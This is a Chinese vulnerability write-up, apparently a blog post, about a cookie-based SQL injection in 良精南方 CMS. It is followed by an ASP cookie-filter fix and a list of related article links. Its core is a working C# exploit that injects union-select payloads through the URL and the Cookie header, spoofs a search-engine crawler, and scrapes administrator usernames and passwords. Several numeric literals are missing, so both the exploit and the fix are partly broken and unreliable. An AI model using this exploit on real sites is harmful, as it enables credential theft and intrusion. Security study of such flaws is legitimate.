良精南方cms /inc/Check_Sql.asp SQL Injection Based On Cookie
catalog
. 漏洞描述
. 漏洞触发条件
. 漏洞影响范围
. 漏洞代码分析
. 防御方法
. 攻防思考
1. 漏洞描述
Relevant Link:
2. 漏洞触发条件
0x1: POC
using System;
using System.Collections;
using System.Net;
using System.Text;
using System.Text.RegularExpressions;
namespace windowsmanger
{
internal class ljnanfang
{
public string exp(string url)
{
string result;
try
{
string exps = "/NewsType.asp?SmallClass='%20union%20select%200,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9%20%66%72%6F%6D%20%61%64%6D%69%6E";
string urls = url;
if (!urls.Contains("http://"))
{
urls = "http://" + urls;
}
string shuju = new WebClient
{
Headers =
{ {
"user-agent",
"Baiduspider"
}
},
Encoding = Encoding.Default
}.DownloadString(urls + exps).Replace("\r", "").Replace("\n", "");
int a = shuju.IndexOf("title=");
int b = shuju.IndexOf("target=");
string jieguo = shuju.Substring(a + , b - a - );
result = jieguo;
}
catch
{
string jieguosd = this.isshuju(url);
if (jieguosd != "网站未发现安全隐患")
{
result = jieguosd;
}
else
{
result = "网站未发现安全隐患";
}
}
return result;
}
public string isshuju(string url)
{
string result;
try
{
string exps = "/shownews.asp";
string shuju = new WebClient
{
Proxy = null,
Encoding = Encoding.Default,
Headers =
{ {
"user-agent",
"Baiduspider"
}, {
"Cookie",
"ASPSESSIONIDCACQBSAT=JGGFLMFDNIDGIFLOJHNBMGBK;id=59+union+select+1,username,password,4,5,6,7,8,9,10+from+admin"
}
}
}.DownloadString(url + exps);
MatchCollection matcha = new Regex("<td.height=.50..*?align=.center..class=..*?.>(?<admin>.*?)</td>\\r(?s).*?</font>次.*?>\\r.*?\\r.*?\\r.*?\\r(?<pass>.*?)</td>", RegexOptions.None).Matches(shuju);
IEnumerator enumerator = matcha.GetEnumerator();
try
{
if (enumerator.MoveNext())
{
Match match = (Match)enumerator.Current;
string bb = match.Groups["admin"].ToString().Replace(" ", "");
string cc = match.Groups["pass"].ToString().Replace(" ", "");
result = bb + " " + cc;
return result;
}
}
finally
{
IDisposable disposable = enumerator as IDisposable;
if (disposable != null)
{
disposable.Dispose();
}
}
result = "网站未发现安全隐患";
}
catch
{
result = "网站未发现安全隐患";
}
return result;
}
}
}
3. 漏洞影响范围
4. 漏洞代码分析
Cookie注入
5. 防御方法
/inc/Check_Sql.asp
On Error Resume Next
''''
Chk_badword=split(Query_Badword,"∥")
For Each Fy_Get In Request.Cookies
For i= To Ubound(Chk_badword)
If Instr(LCase(Request.Cookies(Fy_Get)),Chk_badword(i))<> Then
Response.End
End If
Next
Next
''''
官方最新的代码中包含有对POST、GET的过滤代码,需要在这个基础上加上Cookie注入防御
6. 攻防思考
Copyright (c) 2015 LittleHann All rights reserved
良精南方cms /inc/Check_Sql.asp SQL Injection Based On Cookie的更多相关文章
- classic asp中使用ADODB.Command防止sql injection
原始代码如下 Set Conn = Server.CreateObject("Adodb.Connection") Conn.Open "Provider=Microso ...
- ASP/SQL 注入天书
引言 随着 B/S 模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多.但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据 ...
- ecshop /pick_out.php SQL Injection Vul By Local Variable Overriding
catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 在进行输入变量本地模拟注册的时候,没有进行有效的GPC模拟过滤处理,导出 ...
- 防sql注入之参数绑定 SQL Injection Attacks and Defense 预处理语句与存储过程
http://php.net/manual/zh/pdo.prepared-statements.php 预处理语句与存储过程 很多更成熟的数据库都支持预处理语句的概念.什么是预处理语句?可以把它看作 ...
- druid sql黑名单 报异常 sql injection violation, part alway true condition not allow
最近使用druid,发现阿里这个连接池 真的很好用,可以监控到连接池活跃连接数 开辟到多少个连接数 关闭了多少个,对于我在项目中查看错误 问题,很有帮助, 但是最近发现里面 有条sql语句 被拦截了, ...
- PHP+MYSQL网站SQL Injection攻防
程序员们写代码的时候讲究TDD(测试驱动开发):在实现一个功能前,会先写一个测试用例,然后再编写代码使之运行通过.其实当黑客SQL Injection时,同样是一个TDD的过程:他们会先尝试着让程序报 ...
- SQL Injection(SQL注入漏洞)
审计前准备: 1.安�php程序(推荐phpStudy) 2.高亮编辑器(推荐 Sublimetext Notepad++) 3.新建一个文本,复制以下变量,这些变量是审计中需要在源码中寻找的 ### ...
- HP+MYSQL网站SQL Injection攻防
WebjxCom提示:程序员们写代码的时候讲究TDD(测试驱动开发):在实现一个功能前,会先写一个测试用例,然后再编写代码使之运行通过.其实当黑客SQL Injection时,同样是一个TDD的过程: ...
- Cacti /graphs_new.php SQL Injection Vulnerability
catalogue . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 other SQL injection vulnerability ...
随机推荐
- IE6/IE7/IE8/Firefox/Chrome/Safari的CSS hack兼容一览表
浏览器兼容问题一直是前段开发工程师比较头痛的问题,熟悉了里面的规则也就变得简单了,这里有一份资料可以分享给大家,大家平时开发过程中遵循这个规律的话,会变得轻松多了: 各浏览器CSS hack兼容表: ...
- eap
本文介绍了eap
- Linux 网络编程详解二(socket创建流程、多进程版)
netstat -na | grep " --查看TCP/IP协议连接状态 //socket编程提高版--服务器 #include <stdio.h> #include < ...
- 虚拟机开机提示Operating System not found解决办法
为了更好体验windows更多操作系统,有些用户会在VMware虚拟机中安装XP.win7或win8等等系统,有用户反映在虚拟机中安装XP开机后提示"Operating System not ...
- nios II--实验6——串口软件部分
软件开发 首先,在硬件工程文件夹里面新建一个software的文件夹用于放置软件部分:打开toolsàNios II 11.0 Software Build Tools for Eclipse,需要进 ...
- 代码设计工具——PowerDesigner
详情请参考博客: http://www.blogjava.net/wangdetian168/archive/2011/04/07/347847.html
- 通过Ajax实现增删改查
项目链接:https://github.com/shuai7boy/Ajax_CRUD 简要截图:
- Repeater——数据库控件学习
1.Repeater控件的使用:(用于重复加载一些内容,把要重复加载的代码写在ItemTemplate里面) 脱完控件后,在设计视图中配置数据源即可~ 2.ListView(数据显示,分页此控件一拖千 ...
- python表达式操作符【学习python必知必会】
运算符 描述 实例 yield x 生成器函数发送协议 lambda args: expression 生成匿名函数 x if y else z 三元选择表达式(c系列有的 python也要有 ...
- yii2干货
Sites 网站 yiifeed:Yii 最新动态都在这里 yiigist:Yii 专用的 Packages my-yii:Yii 学习资料和新闻 Docs 文档 Yii Framework 2.0 ...